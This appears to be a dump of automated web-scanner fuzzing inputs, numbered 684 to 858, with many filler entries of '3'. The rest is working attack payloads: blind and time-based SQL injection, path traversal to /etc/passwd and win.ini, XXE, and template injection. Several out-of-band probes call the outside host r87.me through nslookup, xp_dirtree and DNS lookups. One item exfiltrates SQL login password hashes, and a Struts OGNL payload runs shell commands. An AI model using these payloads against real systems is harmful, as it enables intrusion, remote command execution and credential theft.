684. -1″OR 1=1 AND ASC(MID((Now()),1,1))=1

685. 1 AND ASC(MID((Now()),1,1))=1

686. 1″ AND ASC(MID((Now()),1,1))<255

687. 3

688. 3

689. 3

690. 3

691. expr 268409241 – 2;

692. 3

693. 3

694. WAITFOR DELAY ‘0:0:25’–

695. 3

696. 3

697. 3

698. WAITFOR DELAY ‘0:0:25’–

699. 3

700. 3

701. 3

702. eval(‘print localtime()*0+0xFFF9999-22’)

703. 1));SELECT pg_sleep(25)–

704. 3

705. 3

706. 3

707. 3

708. 3

709. 3

710. 3

711. 3

712. 3

713. 3

714. 1 OR 17-7=10

715. -1″OR/**/1=1)/**/AND/**/ISNULL(ASCII(SUBSTRING(CAST((SELECT/**/@@version)AS/**/varchar(8000)),1,1)),0)>255–

716. 1/**/AND/**/ISNULL(ASCII(SUBSTRING(CAST((SELECT/**/@@version)AS/**/varchar(8000)),1,1)),0)<255

717. -1’OR 1=1) AND NVL(ASCII(SUBSTR((SELECT 1 FROM DUAL),1,1)),0)>0–

718. -1 OR 1=1 AND NVL(ASCII(SUBSTR((SELECT 1 FROM DUAL),1,1)),0)<255–

719. -1″OR 1=1)) AND IFNULL(ASCII(SUBSTRING((SELECT @@VERSION),1,1)),0)<255–

720. -1’OR 1=1 AND IFNULL(ASCII(SUBSTRING((SELECT @@VERSION),1,1)),0)>25–

721. -1’OR/**/1=1))/**/AND/**/COALESCE(ASCII(SUBSTR(CAST((VERSION())AS/**/VARCHAR(8000)),1,1)),0)>0–

722. -1/**/OR/**/1=1)/**/AND/**/COALESCE(ASCII(SUBSTR(CAST((VERSION())AS/**/VARCHAR(8000)),1,1)),0)>25–

723. 1/**/AND/**/COALESCE(ASCII(SUBSTR(CAST((VERSION())AS/**/VARCHAR(8000)),1,1)),0)>25–

724. -1 OR 1=1)) AND ASC(MID((Now()),1,1))=1

725. -1″OR 1=1 AND ASC(MID((Now()),1,1))>25

726. 1″ AND ASC(MID((Now()),2,1))=26

727. -1/**/OR/**/1=1))/**/AND/**/ISNULL(ASCII(SUBSTRING(CAST((SELECT/**/@@version)AS/**/varchar(8000)),1,1)),0)=1

728. ‘{${gethostbyname(trim(‘9iyahc8aoxejcankrhnwxxozbc5json0h8b6xadp’.’gko.r87.me’))}}’

729. -1’OR 1=1)) AND NVL(ASCII(SUBSTR((SELECT 1 FROM DUAL),1,1)),0)>255

730. -1 OR 1=1) AND NVL(ASCII(SUBSTR((SELECT 1 FROM DUAL),1,1)),0)<255–

731. 1 AND NVL(ASCII(SUBSTR((SELECT 1 FROM DUAL),1,1)),0)>255

732. -1 OR 1=1)) AND IFNULL(ASCII(SUBSTRING((SELECT @@VERSION),1,1)),0)>25–

733. -1″OR 1=1 AND IFNULL(ASCII(SUBSTRING((SELECT @@VERSION),1,1)),0)<255

734. 1″ AND IFNULL(ASCII(SUBSTRING((SELECT @@VERSION),1,1)),0)>255

735. -1’OR/**/1=1)/**/AND/**/COALESCE(ASCII(SUBSTR(CAST((VERSION())AS/**/VARCHAR(8000)),2,1)),0)=26

736. -1/**/OR/**/1=1/**/AND/**/COALESCE(ASCII(SUBSTR(CAST((VERSION())AS/**/VARCHAR(8000)),1,1)),0)<255

737. -1 OR 1=1)) AND ASC(MID((Now()),1,1))<255

738. -1″OR 1=1 AND ASC(MID((Now()),1,1))>0

739. 3

740. 3

741. 3

742. 3

743. 3

744. 3

745. 3

746. 3

747. 3

748. 3

749. 3

750. 3

751. 3

752. 3

753. 3

754. #set($c=268409241 – 5)
     ${c}

755. 3

756. 3

757. 3

758. 3

759. 3

760. 3

761. 3

762. 3

763. 3

764. 3

765. 3

766. 3

767. 3

768. 3

769. 3

770. 3

771. 3

772. 3

773. ….//….//….//….//….//….//….//….//….//….//….//etc/passwd

774. 3

775. <!DOCTYPE r [ %dtd;]>&a;

776. ::1/elmah.axd

777. -1’OR/**/1=1))/**/AND/**/ISNULL(ASCII(SUBSTRING(CAST((SELECT/**/@@version)AS/**/varchar(8000)),1,1)),0)>25–

778. -1″OR/**/1=1)/**/AND/**/ISNULL(ASCII(SUBSTRING(CAST((SELECT/**/@@version)AS/**/varchar(8000)),1,1)),0)=1–

779. -1/**/OR/**/1=1/**/AND/**/ISNULL(ASCII(SUBSTRING(CAST((SELECT/**/@@version)AS/**/varchar(8000)),1,1)),0)>255–

780. -1’OR 1=1)) AND NVL(ASCII(SUBSTR((SELECT 1 FROM DUAL),1,1)),0)>25

781. -1 OR 1=1) AND NVL(ASCII(SUBSTR((SELECT 1 FROM DUAL),1,1)),0)>255

782. 1 AND NVL(ASCII(SUBSTR((SELECT 1 FROM DUAL),1,1)),0)>25

783. 3

784. -1’OR 1=1) AND IFNULL(ASCII(SUBSTRING((SELECT @@VERSION),1,1)),0)>25–

785. -1’OR 1=1 AND IFNULL(ASCII(SUBSTRING((SELECT @@VERSION),1,1)),0)>0–

786. -1 OR 1=1 AND IFNULL(ASCII(SUBSTRING((SELECT @@VERSION),1,1)),0)>25

787. 1″ AND IFNULL(ASCII(SUBSTRING((SELECT @@VERSION),1,1)),0)>255–

788. -1″OR/**/1=1))/**/AND/**/COALESCE(ASCII(SUBSTR(CAST((VERSION())AS/**/VARCHAR(8000)),1,1)),0)<255

789. declare @h varchar(999)select @h=’1’+substring(name+’-‘+master.sys.fn_varbintohexstr(ISNULL(password_hash,0x0)),0,63)+’.iyw6-m1dpqkkx5fj6bvhtiazsdxb88i_jen8rl_m’+’7im.r87.me’ from sys.sql_logins WHERE principal_id=1;exec(‘xp_dirtree ”\\’+@h+’\c$”’)

790. 1′))exec(‘xp_dirtree ”\\iyw6-m1dpqiwzzmhbdbkhrgrjlks7tojunxof8zj’+’ewi.r87.me’+’\c$\a”’)–

791. 1/**/AND/**/COALESCE(ASCII(SUBSTR(CAST((VERSION())AS/**/VARCHAR(8000)),1,1)),0)>0

792. (select UTL_INADDR.GET_HOST_ADDRESS(chr(105)||chr(121)||chr(119)||chr(54)||chr(45)||chr(109)||chr(49)||chr(100)||chr(112)||chr(113)||chr(100)||chr(107)||chr(112)||chr(104)||chr(122)||chr(114)||chr(55)||chr(50)||chr(104)||chr(106)||chr(97)||chr(110)||chr(95)||chr(122)||chr(117)||chr(97)||chr(97)||chr(50)||chr(116)||chr(106)||chr(98)||chr(111)||chr(119)||chr(54)||chr(115)||chr(102)||chr(52)||chr(104)||chr(49)||chr(117)||chr(100)||chr(115)||chr(101)||chr(46)||chr(114)||chr(56)||chr(55)||chr(46)||chr(109)||chr(101)) from DUAL)

793. -1’OR 1=1) AND ASC(MID((Now()),1,1))=1

794. -1’OR 1=1 AND ASC(MID((Now()),1,1))=1

795. -1 OR 1=1 AND ASC(MID((Now()),1,1))>25

796. 1′ AND ASC(MID((Now()),1,1))>0

797. 1 OR X=’ss

798. gethostbyname(trim(‘iyw6-m1dpqnpi7hmds-tyiaxf9jxjrljbcuenxj1′.’_ys.r87.me’))

799. ‘{${gethostbyname(trim(‘iyw6-m1dpq80he5r4sgmexjxijrgcjbbzy80ykwz’.’5lm.r87.me’))}}’

800. “+createobject(“WScript.Shell”).exec(“nslookup iyw6-m1dpqi6mjyaudvtu4rovapl762o9jigy35d” & “soa.r87.me”).StdOut.ReadAll+”

801. & nslookup iyw6-m1dpqaccl02wz2sqqjcwbvahbbmutkztdha^fgc.r87.me&’\”`0&nslookup iyw6-m1dpqaccl02wz2sqqjcwbvahbbmutkztdha^fgc.r87.me&`’

802. & nslookup iyw6-m1dpqmgmqt_9b5a_0bsox1ach9_hrtepqhl^k7i.r87.me&’\”`0&nslookup iyw6-m1dpqmgmqt_9b5a_0bsox1ach9_hrtepqhl^k7i.r87.me&`’

803. ‘& nslookup iyw6-m1dpqjoxwwany1jaeom_iw3omhskprwf6iw^93e.r87.me&’\”`0&nslookup iyw6-m1dpqjoxwwany1jaeom_iw3omhskprwf6iw^93e.r87.me&`’

804. ‘& nslookup iyw6-m1dpqqxkn60-fydxurlngrvlbnoitpsynfn^82a.r87.me&’\”`0&nslookup iyw6-m1dpqqxkn60-fydxurlngrvlbnoitpsynfn^82a.r87.me&`’

805. “& nslookup iyw6-m1dpquvg9gh1v6tlcruniyg1k9pt-4mxvp4^cse.r87.me&’\”`0&nslookup iyw6-m1dpquvg9gh1v6tlcruniyg1k9pt-4mxvp4^cse.r87.me&`’

806. “& nslookup iyw6-m1dpq7ocy3-6qpbcllzhkess_wokwlw6hd9^lny.r87.me&’\”`0&nslookup iyw6-m1dpq7ocy3-6qpbcllzhkess_wokwlw6hd9^lny.r87.me&`’

807. nslookup “iyw6-m1dpqyzywqsx7z1oqt5swfk7ariwkncfj4c””i9k.r87.me”

808. nslookup “iyw6-m1dpqzf7bovsarkvbddun0ij2ylaafat97i””al0.r87.me”

809. &nslookup “iyw6-m1dpqfnqgl2why3dulgz3cgkel3w_f7e22u””y1y.r87.me”

810. &nslookup “iyw6-m1dpqrzvkraxijiibk17wfzc1kmus_vqxy3″”jt4.r87.me”

811. ‘&nslookup “iyw6-m1dpqibknoo-3z9ntrsewdmgpov_rjevqfm””_na.r87.me”

812. ‘&nslookup “iyw6-m1dpqd_tjzk_th1qacz65-q5aqhqmpx940y””ftm.r87.me”

813. “&nslookup “iyw6-m1dpqv5a03ruhs9hsneybawxegoxmi2g01d””og4.r87.me”

814. “&nslookup “iyw6-m1dpqcsqydaas8gqprtkifnnym2b9wg-luv””pxc.r87.me”

815. |nslookup${IFS}”iyw6-m1dpqfy8rvd_scs2bphaith01jox0z_rjgi””jdk.r87.me”

816. |nslookup${IFS}”iyw6-m1dpq8waagjmd057ztiia0qq9dvhushzsxj””3le.r87.me”

817. %{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context[‘com.opensymphony.xwork2.ActionContext.container’]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd=’nslookup `whoami`.”iyw6-m1dpqjwjgdnliz0mo38usc4k8ynprbdd815″”mmy.r87.me”‘).(#p=new java.lang.ProcessBuilder({‘/bin/bash’,’-c’,#cmd})).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}

818. 3

819. 3

820. 3

821. 3

822. ‘& SET /A 0xFFF9999-2 &

823. ‘AND 1=cast(0x5f21403264696c656d6d61 as varchar(8000)) or ‘1’=’

824. 3

825. 3

826. 3

827. 3

828. NSFTW

829. 3

830. 3

831. 3

832. 3

833. /../../../../../../../../../../windows/win.ini

834. 3

835. 3

836. 3

837. 3

838. 3

839. 3

840. 3

841. 3

842. 3

843. {php}print(int)0xFFF9999-22;{/php}

844. 3

845. 3

846. 3

847. 3

848. http://ocbpirflret9odnyqlh9l2ich4bl639huxskq6_egkf.r87.me/p/

849. 3

850. 3

851. exec(‘xp_dirtree ”\\ocbpirflrexamtfxoy0laymxctedldovu519sblt’+’6e8.r87.me’+’\c$\a”’)

852. syscolumns WHERE 2>3;exec(‘xp_dirtree ”\\ocbpirflregcs5lzeua6fq2l0zjxobhoskhji5vn’+’th4.r87.me’+’\c$\a”’)–

853. cast((SELECT dblink_connect(chr(104)||chr(111)||chr(115)||chr(116)||chr(61)||chr(111)||chr(99)||chr(98)||chr(112)||chr(105)||chr(114)||chr(102)||chr(108)||chr(114)||chr(101)||chr(51)||chr(98)||chr(57)||chr(122)||chr(117)||chr(116)||chr(45)||chr(95)||chr(121)||chr(105)||chr(112)||chr(106)||chr(52)||chr(99)||chr(118)||chr(98)||chr(109)||chr(51)||chr(116)||chr(101)||chr(108)||chr(114)||chr(102)||chr(119)||chr(112)||chr(97)||chr(106)||chr(105)||chr(98)||chr(103)||chr(117)||chr(113)||chr(48)||chr(46)||chr(114)||chr(56)||chr(55)||chr(46)||chr(109)||chr(101)||chr(32)||chr(117)||chr(115)||chr(101)||chr(114)||chr(61)||chr(97)||chr(32)||chr(112)||chr(97)||chr(115)||chr(115)||chr(119)||chr(111)||chr(114)||chr(100)||chr(61)||chr(97)||chr(32)||chr(99)||chr(111)||chr(110)||chr(110)||chr(101)||chr(99)||chr(116)||chr(95)||chr(116)||chr(105)||chr(109)||chr(101)||chr(111)||chr(117)||chr(116)||chr(61)||chr(50))) as numeric)

854. “;l=document.createElement(“link”);l.rel=”prefetch”;l.href=”//ocbpirflrecfgkzcysmqs5ne1xqkv77otbstngvt”+”qwi.r87.me/r/?”+location.href;document.head.appendChild(l);//

855. “;l=document.createElement(“link”);l.rel=”prefetch”;l.href=”//ocbpirflret4asxi5ym9h4nm9czrbgcit5w-uxk2″+”h2w.r87.me/r/?”+location.href;document.head.appendChild(l);//

856. gethostbyname(trim(‘ocbpirflrelzpvpq-cjkc1x_qivj5__fx9bkx3b9′.’wcs.r87.me’))

857. ‘{${gethostbyname(trim(‘ocbpirflrek2mplrtvumiklcjiphdi4cgqeooxly’.’whe.r87.me’))}}’

858. eval(‘gethostbyname(lc ‘ocbpirflream9kw6rqyvm4mt-7u1ir3ud91h9w47′.’rcw.r87.me’)’)